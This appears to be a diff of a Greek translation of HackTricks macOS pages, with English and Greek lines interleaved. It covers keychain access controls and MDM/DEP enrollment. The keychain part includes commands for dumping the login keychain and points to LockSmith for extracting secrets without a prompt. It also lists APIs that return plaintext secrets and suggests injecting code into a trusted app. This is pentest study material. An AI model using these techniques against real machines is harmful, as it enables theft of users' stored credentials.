Όταν μια **εφαρμογή δημιουργεί μια καταχώρηση στο keychain**, οι κανόνες είναι ελαφρώς διαφορετικοί:
- All apps can encrypt.
- Only the **creating application** (or any other apps explicitly added) can export/decrypt (without prompting the user).
- All apps can see the integrity check.
- No apps can change the ACLs.
- The **partitionID** is set to **`teamid:[teamID here]`**.
- Όλες οι εφαρμογές μπορούν να κρυπτογραφούν.
- Μόνο η **δημιουργούσα εφαρμογή** (ή οποιαδήποτε άλλη εφαρμογή που έχει προστεθεί ρητά) μπορεί να εξάγει/αποκρυπτογραφεί (χωρίς προτροπή του χρήστη).
- Όλες οι εφαρμογές μπορούν να δουν τον έλεγχο ακεραιότητας.
- Καμία εφαρμογή δεν μπορεί να αλλάξει τις ACLs.
- Το **partitionID** ορίζεται σε **`teamid:[teamID here]`**.
## Accessing the Keychain
### `security`
```bash
# List keychains
security list-keychains
@ -74,60 +73,59 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
# Dump specifically the user keychain
security dump-keychain ~/Library/Keychains/login.keychain-db
```
### APIs
> [!TIP]
> The **keychain enumeration and dumping** of secrets that **won't generate a prompt** can be done with the tool [**LockSmith**](https://github.com/its-a-feature/LockSmith)
> Η **καταμέτρηση και εξαγωγή** μυστικών από το **keychain** που **δεν θα δημιουργήσει προτροπή** μπορεί να γίνει με το εργαλείο [**LockSmith**](https://github.com/its-a-feature/LockSmith)
>
> Other API endpoints can be found in [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) source code.
> Άλλες τελικές API μπορούν να βρεθούν στον κώδικα πηγής [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html).
List and get **info** about each keychain entry using the **Security Framework** or you could also check the Apple's open source cli tool [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Some API examples:
Λίστα και λήψη **πληροφοριών** για κάθε καταχώρηση keychain χρησιμοποιώντας το **Security Framework** ή μπορείτε επίσης να ελέγξετε το εργαλείο cli ανοιχτού κώδικα της Apple [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Μερικά παραδείγματα API:
- The API **`SecItemCopyMatching`** gives info about each entry and there are some attributes you can set when using it:
- **`kSecReturnData`**: If true, it will try to decrypt the data (set to false to avoid potential pop-ups)
- **`kSecReturnRef`**: Get also reference to keychain item (set to true in case later you see you can decrypt without pop-up)
- **`kSecReturnAttributes`**: Get metadata about entries
- **`kSecMatchLimit`**: How many results to return
- **`kSecClass`**: What kind of keychain entry
- Η API **`SecItemCopyMatching`** δίνει πληροφορίες για κάθε καταχώρηση και υπάρχουν μερικά χαρακτηριστικά που μπορείτε να ορίσετε κατά τη χρήση της:
- **`kSecReturnData`**: Αν είναι αληθές, θα προσπαθήσει να αποκρυπτογραφήσει τα δεδομένα (ορίστε σε ψευδές για να αποφύγετε πιθανές αναδυόμενες ειδοποιήσεις)
- **`kSecReturnRef`**: Λάβετε επίσης αναφορά στο στοιχείο keychain (ορίστε σε αληθές σε περίπτωση που αργότερα δείτε ότι μπορείτε να αποκρυπτογραφήσετε χωρίς αναδυόμενη ειδοποίηση)
- **`kSecReturnAttributes`**: Λάβετε μεταδεδομένα σχετικά με τις καταχωρήσεις
- **`kSecMatchLimit`**: Πόσα αποτελέσματα να επιστραφούν
- **`kSecClass`**: Τι είδους καταχώρηση keychain
Get **ACLs** of each entry:
Λάβετε **ACLs** κάθε καταχώρησης:
- With the API **`SecAccessCopyACLList`** you can get the **ACL for the keychain item**, and it will return a list of ACLs (like `ACLAuhtorizationExportClear` and the others previously mentioned) where each list has:
- Description
- **Trusted Application List**. This could be:
- An app: /Applications/Slack.app
- A binary: /usr/libexec/airportd
- A group: group://AirPort
- Με την API **`SecAccessCopyACLList`** μπορείτε να λάβετε το **ACL για το στοιχείο keychain**, και θα επιστρέψει μια λίστα ACLs (όπως `ACLAuhtorizationExportClear` και οι άλλες που αναφέρθηκαν προηγουμένως) όπου κάθε λίστα έχει:
- Περιγραφή
- **Λίστα Εμπιστευμένων Εφαρμογών**. Αυτό θα μπορούσε να είναι:
- Μια εφαρμογή: /Applications/Slack.app
- Ένα δυαδικό: /usr/libexec/airportd
- Μια ομάδα: group://AirPort
Export the data:
Εξαγωγή των δεδομένων:
- The API **`SecKeychainItemCopyContent`** gets the plaintext
- The API **`SecItemExport`** exports the keys and certificates but might have to set passwords to export the content encrypted
- Η API **`SecKeychainItemCopyContent`** αποκτά το απλό κείμενο
- Η API **`SecItemExport`** εξάγει τα κλειδιά και τα πιστοποιητικά αλλά μπορεί να χρειαστεί να ορίσετε κωδικούς πρόσβασης για να εξάγετε το περιεχόμενο κρυπτογραφημένο
And these are the **requirements** to be able to **export a secret without a prompt**:
Και αυτές είναι οι **απαιτήσεις** για να μπορείτε να **εξάγετε ένα μυστικό χωρίς προτροπή**:
- If **1+ trusted** apps listed:
- Need the appropriate **authorizations** (**`Nil`**, or be **part** of the allowed list of apps in the authorization to access the secret info)
- Need code signature to match **PartitionID**
- Need code signature to match that of one **trusted app** (or be a member of the right KeychainAccessGroup)
- If **all applications trusted**:
- Need the appropriate **authorizations**
- Need code signature to match **PartitionID**
- If **no PartitionID**, then this isn't needed
- Αν **1+ εμπιστευμένες** εφαρμογές αναφέρονται:
- Χρειάζεστε τις κατάλληλες **εξουσιοδοτήσεις** (**`Nil`**, ή να είστε **μέρος** της επιτρεπόμενης λίστας εφαρμογών στην εξουσιοδότηση για πρόσβαση στις μυστικές πληροφορίες)
- Χρειάζεστε υπογραφή κώδικα που να ταιριάζει με **PartitionID**
- Χρειάζεστε υπογραφή κώδικα που να ταιριάζει με αυτήν μιας **εμπιστευμένης εφαρμογής**να είστε μέλος της σωστής KeychainAccessGroup)
- Αν **όλες οι εφαρμογές είναι εμπιστευτές**:
- Χρειάζεστε τις κατάλληλες **εξουσιοδοτήσεις**
- Χρειάζεστε υπογραφή κώδικα που να ταιριάζει με **PartitionID**
- Αν **δεν υπάρχει PartitionID**, τότε αυτό δεν είναι απαραίτητο
> [!CAUTION]
> Therefore, if there is **1 application listed**, you need to **inject code in that application**.
> Επομένως, αν υπάρχει **1 εφαρμογή αναφερόμενη**, πρέπει να **εισάγετε κώδικα σε αυτήν την εφαρμογή**.
>
> If **apple** is indicated in the **partitionID**, you could access it with **`osascript`** so anything that is trusting all applications with apple in the partitionID. **`Python`** could also be used for this.
> Αν **apple** αναφέρεται στο **partitionID**, μπορείτε να έχετε πρόσβαση σε αυτό με **`osascript`** οπότε οτιδήποτε εμπιστεύεται όλες τις εφαρμογές με apple στο partitionID. **`Python`** θα μπορούσε επίσης να χρησιμοποιηθεί για αυτό.
### Two additional attributes
### Δύο επιπλέον χαρακτηριστικά
- **Invisible**: It's a boolean flag to **hide** the entry from the **UI** Keychain app
- **General**: It's to store **metadata** (so it's NOT ENCRYPTED)
- Microsoft was storing in plain text all the refresh tokens to access sensitive endpoint.
- **Αόρατο**: Είναι μια λογική σημαία για να **κρύψει** την καταχώρηση από την εφαρμογή **UI** Keychain
- **Γενικό**: Είναι για την αποθήκευση **μεταδεδομένων** (οπότε ΔΕΝ είναι ΚΡΥΠΤΟΓΡΑΦΗΜΕΝΟ)
- Η Microsoft αποθήκευε σε απλό κείμενο όλους τους ανανεωτικούς κωδικούς πρόσβασης για πρόσβαση σε ευαίσθητες τελικές σημεία.
## References
## Αναφορές
- [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)

View File

@ -2,199 +2,199 @@
{{#include ../../../banners/hacktricks-training.md}}
**To learn about macOS MDMs check:**
**Για να μάθετε για τα macOS MDMs, ελέγξτε:**
- [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU)
- [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)
## Basics
## Βασικά
### **MDM (Mobile Device Management) Overview**
### **Επισκόπηση MDM (Διαχείριση Κινητών Συσκευών)**
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) is utilized for overseeing various end-user devices like smartphones, laptops, and tablets. Particularly for Apple's platforms (iOS, macOS, tvOS), it involves a set of specialized features, APIs, and practices. The operation of MDM hinges on a compatible MDM server, which is either commercially available or open-source, and must support the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Key points include:
[Διαχείριση Κινητών Συσκευών](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) χρησιμοποιείται για την εποπτεία διαφόρων συσκευών τελικού χρήστη όπως smartphones, laptops και tablets. Ιδιαίτερα για τις πλατφόρμες της Apple (iOS, macOS, tvOS), περιλαμβάνει ένα σύνολο εξειδικευμένων χαρακτηριστικών, APIs και πρακτικών. Η λειτουργία του MDM εξαρτάται από έναν συμβατό διακομιστή MDM, ο οποίος είναι είτε εμπορικά διαθέσιμος είτε ανοιχτού κώδικα, και πρέπει να υποστηρίζει το [Πρωτόκολλο MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Σημαντικά σημεία περιλαμβάνουν:
- Centralized control over devices.
- Dependence on an MDM server that adheres to the MDM protocol.
- Capability of the MDM server to dispatch various commands to devices, for instance, remote data erasure or configuration installation.
- Κεντρικός έλεγχος των συσκευών.
- Εξάρτηση από έναν διακομιστή MDM που συμμορφώνεται με το πρωτόκολλο MDM.
- Ικανότητα του διακομιστή MDM να αποστέλλει διάφορες εντολές στις συσκευές, για παράδειγμα, απομακρυσμένη διαγραφή δεδομένων ή εγκατάσταση ρυθμίσεων.
### **Basics of DEP (Device Enrollment Program)**
### **Βασικά του DEP (Πρόγραμμα Εγγραφής Συσκευών)**
The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) offered by Apple streamlines the integration of Mobile Device Management (MDM) by facilitating zero-touch configuration for iOS, macOS, and tvOS devices. DEP automates the enrollment process, allowing devices to be operational right out of the box, with minimal user or administrative intervention. Essential aspects include:
Το [Πρόγραμμα Εγγραφής Συσκευών](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) που προσφέρει η Apple απλοποιεί την ενσωμάτωση της Διαχείρισης Κινητών Συσκευών (MDM) διευκολύνοντας τη ρύθμιση χωρίς επαφή για συσκευές iOS, macOS και tvOS. Το DEP αυτοματοποιεί τη διαδικασία εγγραφής, επιτρέποντας στις συσκευές να είναι λειτουργικές αμέσως μόλις ανοίξουν, με ελάχιστη παρέμβαση από τον χρήστη ή τον διαχειριστή. Βασικά στοιχεία περιλαμβάνουν:
- Enables devices to autonomously register with a pre-defined MDM server upon initial activation.
- Primarily beneficial for brand-new devices, but also applicable for devices undergoing reconfiguration.
- Facilitates a straightforward setup, making devices ready for organizational use swiftly.
- Δίνει τη δυνατότητα στις συσκευές να εγγράφονται αυτόματα σε έναν προκαθορισμένο διακομιστή MDM κατά την αρχική ενεργοποίηση.
- Κυρίως ωφέλιμο για καινούργιες συσκευές, αλλά εφαρμόσιμο και για συσκευές που επαναρυθμίζονται.
- Διευκολύνει μια απλή ρύθμιση, κάνοντάς τις συσκευές έτοιμες για οργανωτική χρήση γρήγορα.
### **Security Consideration**
### **Σκέψη Ασφαλείας**
It's crucial to note that the ease of enrollment provided by DEP, while beneficial, can also pose security risks. If protective measures are not adequately enforced for MDM enrollment, attackers might exploit this streamlined process to register their device on the organization's MDM server, masquerading as a corporate device.
Είναι κρίσιμο να σημειωθεί ότι η ευκολία εγγραφής που παρέχει το DEP, αν και ωφέλιμη, μπορεί επίσης να θέσει σε κίνδυνο την ασφάλεια. Εάν τα προστατευτικά μέτρα δεν επιβληθούν επαρκώς για την εγγραφή MDM, οι επιτιθέμενοι μπορεί να εκμεταλλευτούν αυτή τη διαδικασία για να εγγραφούν στη συσκευή τους στον διακομιστή MDM της οργάνωσης, προσποιούμενοι ότι είναι εταιρική συσκευή.
> [!CAUTION]
> **Security Alert**: Simplified DEP enrollment could potentially allow unauthorized device registration on the organization's MDM server if proper safeguards are not in place.
> **Ειδοποίηση Ασφαλείας**: Η απλοποιημένη εγγραφή DEP θα μπορούσε ενδεχομένως να επιτρέψει την μη εξουσιοδοτημένη εγγραφή συσκευών στον διακομιστή MDM της οργάνωσης εάν δεν υπάρχουν κατάλληλες προστασίες.
### Basics What is SCEP (Simple Certificate Enrolment Protocol)?
### Βασικά Τι είναι το SCEP (Πρωτόκολλο Απλής Εγγραφής Πιστοποιητικών);
- A relatively old protocol, created before TLS and HTTPS were widespread.
- Gives clients a standardized way of sending a **Certificate Signing Request** (CSR) for the purpose of being granted a certificate. The client will ask the server to give him a signed certificate.
- Ένα σχετικά παλιό πρωτόκολλο, που δημιουργήθηκε πριν γίνουν ευρέως διαδεδομένα τα TLS και HTTPS.
- Δίνει στους πελάτες έναν τυποποιημένο τρόπο αποστολής ενός **Αιτήματος Υπογραφής Πιστοποιητικού** (CSR) με σκοπό την απόκτηση ενός πιστοποιητικού. Ο πελάτης θα ζητήσει από τον διακομιστή να του δώσει ένα υπογεγραμμένο πιστοποιητικό.
### What are Configuration Profiles (aka mobileconfigs)?
### Τι είναι τα Προφίλ Ρυθμίσεων (aka mobileconfigs);
- Apples official way of **setting/enforcing system configuration.**
- File format that can contain multiple payloads.
- Based on property lists (the XML kind).
- “can be signed and encrypted to validate their origin, ensure their integrity, and protect their contents.” Basics — Page 70, iOS Security Guide, January 2018.
- Ο επίσημος τρόπος της Apple για **ρύθμιση/επιβολή συστήματος ρυθμίσεων.**
- Μορφή αρχείου που μπορεί να περιέχει πολλαπλά payloads.
- Βασισμένο σε λίστες ιδιοτήτων (του XML τύπου).
- “μπορεί να υπογραφεί και να κρυπτογραφηθεί για να επιβεβαιώσει την προέλευση τους, να διασφαλίσει την ακεραιότητά τους και να προστατεύσει το περιεχόμενό τους.” Βασικά — Σελίδα 70, Οδηγός Ασφαλείας iOS, Ιανουάριος 2018.
## Protocols
## Πρωτόκολλα
### MDM
- Combination of APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers)
- **Communication** occurs between a **device** and a server associated with a **device** **management** **product**
- **Commands** delivered from the MDM to the device in **plist-encoded dictionaries**
- All over **HTTPS**. MDM servers can be (and are usually) pinned.
- Apple grants the MDM vendor an **APNs certificate** for authentication
- Συνδυασμός APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers)
- **Επικοινωνία** συμβαίνει μεταξύ μιας **συσκευής** και ενός διακομιστή που σχετίζεται με ένα **προϊόν** **διαχείρισης** **συσκευών**
- **Εντολές** παραδίδονται από το MDM στη συσκευή σε **plist-encoded dictionaries**
- Όλα μέσω **HTTPS**. Οι διακομιστές MDM μπορούν να είναι (και συνήθως είναι) pinned.
- Η Apple παρέχει στον προμηθευτή MDM ένα **πιστοποιητικό APNs** για αυθεντικοποίηση
### DEP
- **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity (undocumented):
- The so-called [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). This is used by MDM servers to associate DEP profiles with specific devices.
- The [DEP API used by Apple Authorized Resellers](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) to enroll devices, check enrollment status, and check transaction status.
- The undocumented private DEP API. This is used by Apple Devices to request their DEP profile. On macOS, the `cloudconfigurationd` binary is responsible for communicating over this API.
- More modern and **JSON** based (vs. plist)
- Apple grants an **OAuth token** to the MDM vendor
- **3 APIs**: 1 για μεταπωλητές, 1 για προμηθευτές MDM, 1 για ταυτότητα συσκευής (μη τεκμηριωμένο):
- Ο λεγόμενος [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Αυτό χρησιμοποιείται από τους διακομιστές MDM για να συσχετίσουν τα προφίλ DEP με συγκεκριμένες συσκευές.
- Το [DEP API που χρησιμοποιείται από τους Εξουσιοδοτημένους Μεταπωλητές της Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) για να εγγράψουν συσκευές, να ελέγξουν την κατάσταση εγγραφής και να ελέγξουν την κατάσταση συναλλαγής.
- Το μη τεκμηριωμένο ιδιωτικό DEP API. Αυτό χρησιμοποιείται από τις Συσκευές Apple για να ζητήσουν το προφίλ DEP τους. Στο macOS, το δυαδικό `cloudconfigurationd` είναι υπεύθυνο για την επικοινωνία μέσω αυτού του API.
- Πιο σύγχρονο και **JSON** βασισμένο (σε σχέση με plist)
- Η Apple παρέχει ένα **OAuth token** στον προμηθευτή MDM
**DEP "cloud service" API**
- RESTful
- sync device records from Apple to the MDM server
- sync “DEP profiles” to Apple from the MDM server (delivered by Apple to the device later on)
- A DEP “profile” contains:
- MDM vendor server URL
- Additional trusted certificates for server URL (optional pinning)
- Extra settings (e.g. which screens to skip in Setup Assistant)
- συγχρονίζει τις εγγραφές συσκευών από την Apple στον διακομιστή MDM
- συγχρονίζει τα “DEP profiles” στην Apple από τον διακομιστή MDM (παραδίδεται από την Apple στη συσκευή αργότερα)
- Ένα DEP “profile” περιέχει:
- URL διακομιστή προμηθευτή MDM
- Πρόσθετα αξιόπιστα πιστοποιητικά για το URL του διακομιστή (προαιρετική pinning)
- Επιπλέον ρυθμίσεις (π.χ. ποιες οθόνες να παραλειφθούν στον Βοηθό Ρύθμισης)
## Serial Number
## Αριθμός Σειράς
Apple devices manufactured after 2010 generally have **12-character alphanumeric** serial numbers, with the **first three digits representing the manufacturing location**, the following **two** indicating the **year** and **week** of manufacture, the next **three** digits providing a **unique** **identifier**, and the **last** **four** digits representing the **model number**.
Οι συσκευές Apple που κατασκευάστηκαν μετά το 2010 γενικά έχουν **12-χαρακτήρων αλφαριθμητικούς** αριθμούς σειράς, με τα **πρώτα τρία ψηφία να αντιπροσωπεύουν την τοποθεσία κατασκευής**, τα επόμενα **δύο** να υποδεικνύουν το **έτος** και την **εβδομάδα** κατασκευής, τα επόμενα **τρία** ψηφία να παρέχουν έναν **μοναδικό** **αναγνωριστικό**, και τα **τελευταία** **τέσσερα** ψηφία να αντιπροσωπεύουν τον **αριθμό μοντέλου**.
{{#ref}}
macos-serial-number.md
{{#endref}}
## Steps for enrolment and management
## Βήματα για εγγραφή και διαχείριση
1. Device record creation (Reseller, Apple): The record for the new device is created
2. Device record assignment (Customer): The device is assigned to a MDM server
3. Device record sync (MDM vendor): MDM sync the device records and push the DEP profiles to Apple
4. DEP check-in (Device): Device gets his DEP profile
5. Profile retrieval (Device)
6. Profile installation (Device) a. incl. MDM, SCEP and root CA payloads
7. MDM command issuance (Device)
1. Δημιουργία εγγραφής συσκευής (Μεταπωλητής, Apple): Δημιουργείται η εγγραφή για τη νέα συσκευή
2. Ανάθεση εγγραφής συσκευής (Πελάτης): Η συσκευή ανατίθεται σε έναν διακομιστή MDM
3. Συγχρονισμός εγγραφής συσκευής (Προμηθευτής MDM): Ο MDM συγχρονίζει τις εγγραφές συσκευών και σπρώχνει τα προφίλ DEP στην Apple
4. Έλεγχος DEP (Συσκευή): Η συσκευή αποκτά το προφίλ DEP της
5. Ανάκτηση προφίλ (Συσκευή)
6. Εγκατάσταση προφίλ (Συσκευή) α. συμπεριλαμβανομένων των payloads MDM, SCEP και root CA
7. Έκδοση εντολής MDM (Συσκευή)
![](<../../../images/image (694).png>)
The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exports functions that can be considered **high-level "steps"** of the enrolment process.
Το αρχείο `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` εξάγει λειτουργίες που μπορούν να θεωρηθούν **υψηλού επιπέδου "βήματα"** της διαδικασίας εγγραφής.
### Step 4: DEP check-in - Getting the Activation Record
### Βήμα 4: Έλεγχος DEP - Λήψη του Ενεργοποιητικού Αρχείου
This part of the process occurs when a **user boots a Mac for the first time** (or after a complete wipe)
Αυτό το μέρος της διαδικασίας συμβαίνει όταν ένας **χρήστης εκκινεί ένα Mac για πρώτη φορά** (ή μετά από μια πλήρη διαγραφή)
![](<../../../images/image (1044).png>)
or when executing `sudo profiles show -type enrollment`
ή όταν εκτελείται `sudo profiles show -type enrollment`
- Determine **whether device is DEP enabled**
- Activation Record is the internal name for **DEP “profile”**
- Begins as soon as the device is connected to Internet
- Driven by **`CPFetchActivationRecord`**
- Implemented by **`cloudconfigurationd`** via XPC. The **"Setup Assistant**" (when the device is firstly booted) or the **`profiles`** command will **contact this daemon** to retrieve the activation record.
- LaunchDaemon (always runs as root)
- Καθορίστε **αν η συσκευή είναι ενεργοποιημένη για DEP**
- Το Ενεργοποιητικό Αρχείο είναι το εσωτερικό όνομα για το **DEP “profile”**
- Ξεκινά μόλις η συσκευή συνδεθεί στο Διαδίκτυο
- Οδηγείται από **`CPFetchActivationRecord`**
- Υλοποιείται από **`cloudconfigurationd`** μέσω XPC. Ο **"Βοηθός Ρύθμισης"** (όταν η συσκευή εκκινείται για πρώτη φορά) ή η εντολή **`profiles`** θα **επικοινωνήσει με αυτόν τον δαίμονα** για να ανακτήσει το ενεργοποιητικό αρχείο.
- LaunchDaemon (τρέχει πάντα ως root)
It follows a few steps to get the Activation Record performed by **`MCTeslaConfigurationFetcher`**. This process uses an encryption called **Absinthe**
Ακολουθεί μερικά βήματα για να αποκτήσει το Ενεργοποιητικό Αρχείο που εκτελείται από **`MCTeslaConfigurationFetcher`**. Αυτή η διαδικασία χρησιμοποιεί μια κρυπτογράφηση που ονομάζεται **Absinthe**
1. Retrieve **certificate**
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
2. **Initialize** state from certificate (**`NACInit`**)
1. Uses various device-specific data (i.e. **Serial Number via `IOKit`**)
3. Retrieve **session key**
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
4. Establish the session (**`NACKeyEstablishment`**)
5. Make the request
1. POST to [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) sending the data `{ "action": "RequestProfileConfiguration", "sn": "" }`
2. The JSON payload is encrypted using Absinthe (**`NACSign`**)
3. All requests over HTTPs, built-in root certificates are used
1. Ανάκτηση **πιστοποιητικού**
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
2. **Αρχικοποίηση** κατάστασης από το πιστοποιητικό (**`NACInit`**)
1. Χρησιμοποιεί διάφορα δεδομένα που σχετίζονται με τη συσκευή (δηλαδή **Αριθμός Σειράς μέσω `IOKit`**)
3. Ανάκτηση **κλειδιού συνεδρίας**
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
4. Δημιουργία της συνεδρίας (**`NACKeyEstablishment`**)
5. Κάντε το αίτημα
1. POST στο [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) στέλνοντας τα δεδομένα `{ "action": "RequestProfileConfiguration", "sn": "" }`
2. Το JSON payload κρυπτογραφείται χρησιμοποιώντας Absinthe (**`NACSign`**)
3. Όλα τα αιτήματα μέσω HTTPs, χρησιμοποιούνται ενσωματωμένα root πιστοποιητικά
![](<../../../images/image (566) (1).png>)
The response is a JSON dictionary with some important data like:
Η απάντηση είναι ένα JSON λεξικό με ορισμένα σημαντικά δεδομένα όπως:
- **url**: URL of the MDM vendor host for the activation profile
- **anchor-certs**: Array of DER certificates used as trusted anchors
- **url**: URL του διακομιστή προμηθευτή MDM για το ενεργοποιητικό προφίλ
- **anchor-certs**: Πίνακας DER πιστοποιητικών που χρησιμοποιούνται ως αξιόπιστοι άγκυρες
### **Step 5: Profile Retrieval**
### **Βήμα 5: Ανάκτηση Προφίλ**
![](<../../../images/image (444).png>)
- Request sent to **url provided in DEP profile**.
- **Anchor certificates** are used to **evaluate trust** if provided.
- Reminder: the **anchor_certs** property of the DEP profile
- **Request is a simple .plist** with device identification
- Examples: **UDID, OS version**.
- CMS-signed, DER-encoded
- Signed using the **device identity certificate (from APNS)**
- **Certificate chain** includes expired **Apple iPhone Device CA**
- Αίτημα που αποστέλλεται στο **url που παρέχεται στο DEP profile**.
- **Πιστοποιητικά άγκυρας** χρησιμοποιούνται για **αξιολόγηση εμπιστοσύνης** εάν παρέχονται.
- Υπενθύμιση: η **property anchor_certs** του DEP profile
- **Το αίτημα είναι ένα απλό .plist** με αναγνώριση συσκευής
- Παραδείγματα: **UDID, έκδοση OS**.
- CMS-υπογεγραμμένο, DER-κωδικοποιημένο
- Υπογεγραμμένο χρησιμοποιώντας το **πιστοποιητικό ταυτότητας συσκευής (από APNS)**
- Η **αλυσίδα πιστοποιητικών** περιλαμβάνει ληγμένο **Apple iPhone Device CA**
![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
### Step 6: Profile Installation
### Βήμα 6: Εγκατάσταση Προφίλ
- Once retrieved, **profile is stored on the system**
- This step begins automatically (if in **setup assistant**)
- Driven by **`CPInstallActivationProfile`**
- Implemented by mdmclient over XPC
- LaunchDaemon (as root) or LaunchAgent (as user), depending on context
- Configuration profiles have multiple payloads to install
- Framework has a plugin-based architecture for installing profiles
- Each payload type is associated with a plugin
- Can be XPC (in framework) or classic Cocoa (in ManagedClient.app)
- Example:
- Certificate Payloads use CertificateService.xpc
- Μόλις ανακτηθεί, **το προφίλ αποθηκεύεται στο σύστημα**
- Αυτό το βήμα ξεκινά αυτόματα (εάν είναι στον **βοηθό ρύθμισης**)
- Οδηγείται από **`CPInstallActivationProfile`**
- Υλοποιείται από το mdmclient μέσω XPC
- LaunchDaemon (ως root) ή LaunchAgent (ως χρήστης), ανάλογα με το πλαίσιο
- Τα προφίλ ρυθμίσεων έχουν πολλαπλά payloads προς εγκατάσταση
- Το πλαίσιο έχει αρχιτεκτονική βασισμένη σε plugins για την εγκατάσταση προφίλ
- Κάθε τύπος payload σχετίζεται με ένα plugin
- Μπορεί να είναι XPC (στο πλαίσιο) ή κλασικό Cocoa (στο ManagedClient.app)
- Παράδειγμα:
- Τα Payloads Πιστοποιητικών χρησιμοποιούν CertificateService.xpc
Typically, **activation profile** provided by an MDM vendor will **include the following payloads**:
Συνήθως, το **ενεργοποιητικό προφίλ** που παρέχεται από έναν προμηθευτή MDM θα **περιλαμβάνει τα εξής payloads**:
- `com.apple.mdm`: to **enroll** the device in MDM
- `com.apple.security.scep`: to securely provide a **client certificate** to the device.
- `com.apple.security.pem`: to **install trusted CA certificates** to the devices System Keychain.
- Installing the MDM payload equivalent to **MDM check-in in the documentation**
- Payload **contains key properties**:
- - MDM Check-In URL (**`CheckInURL`**)
- MDM Command Polling URL (**`ServerURL`**) + APNs topic to trigger it
- To install MDM payload, request is sent to **`CheckInURL`**
- Implemented in **`mdmclient`**
- MDM payload can depend on other payloads
- Allows **requests to be pinned to specific certificates**:
- Property: **`CheckInURLPinningCertificateUUIDs`**
- Property: **`ServerURLPinningCertificateUUIDs`**
- Delivered via PEM payload
- Allows device to be attributed with an identity certificate:
- Property: IdentityCertificateUUID
- Delivered via SCEP payload
- `com.apple.mdm`: για **εγγραφή** της συσκευής στο MDM
- `com.apple.security.scep`: για την ασφαλή παροχή ενός **πιστοποιητικού πελάτη** στη συσκευή.
- `com.apple.security.pem`: για **εγκατάσταση αξιόπιστων CA πιστοποιητικών** στο Keychain του συστήματος της συσκευής.
- Η εγκατάσταση του payload MDM ισοδυναμεί με **έλεγχο MDM στην τεκμηρίωση**
- Το payload **περιέχει βασικές ιδιότητες**:
- - URL Ελέγχου MDM (**`CheckInURL`**)
- URL Πολυάριθμων Εντολών MDM (**`ServerURL`**) + θέμα APNs για την ενεργοποίησή του
- Για να εγκατασταθεί το payload MDM, το αίτημα αποστέλλεται στο **`CheckInURL`**
- Υλοποιείται στο **`mdmclient`**
- Το payload MDM μπορεί να εξαρτάται από άλλα payloads
- Επιτρέπει **αιτήματα να είναι pinned σε συγκεκριμένα πιστοποιητικά**:
- Ιδιότητα: **`CheckInURLPinningCertificateUUIDs`**
- Ιδιότητα: **`ServerURLPinningCertificateUUIDs`**
- Παρέχεται μέσω payload PEM
- Επιτρέπει στη συσκευή να αποδοθεί με ένα πιστοποιητικό ταυτότητας:
- Ιδιότητα: IdentityCertificateUUID
- Παρέχεται μέσω payload SCEP
### **Step 7: Listening for MDM commands**
### **Βήμα 7: Ακρόαση για εντολές MDM**
- After MDM check-in is complete, vendor can **issue push notifications using APNs**
- Upon receipt, handled by **`mdmclient`**
- To poll for MDM commands, request is sent to ServerURL
- Makes use of previously installed MDM payload:
- **`ServerURLPinningCertificateUUIDs`** for pinning request
- **`IdentityCertificateUUID`** for TLS client certificate
- Αφού ολοκληρωθεί ο έλεγχος MDM, ο προμηθευτής μπορεί να **εκδώσει ειδοποιήσεις push χρησιμοποιώντας APNs**
- Κατά την παραλαβή, διαχειρίζεται από το **`mdmclient`**
- Για να ελέγξει τις εντολές MDM, το αίτημα αποστέλλεται στο ServerURL
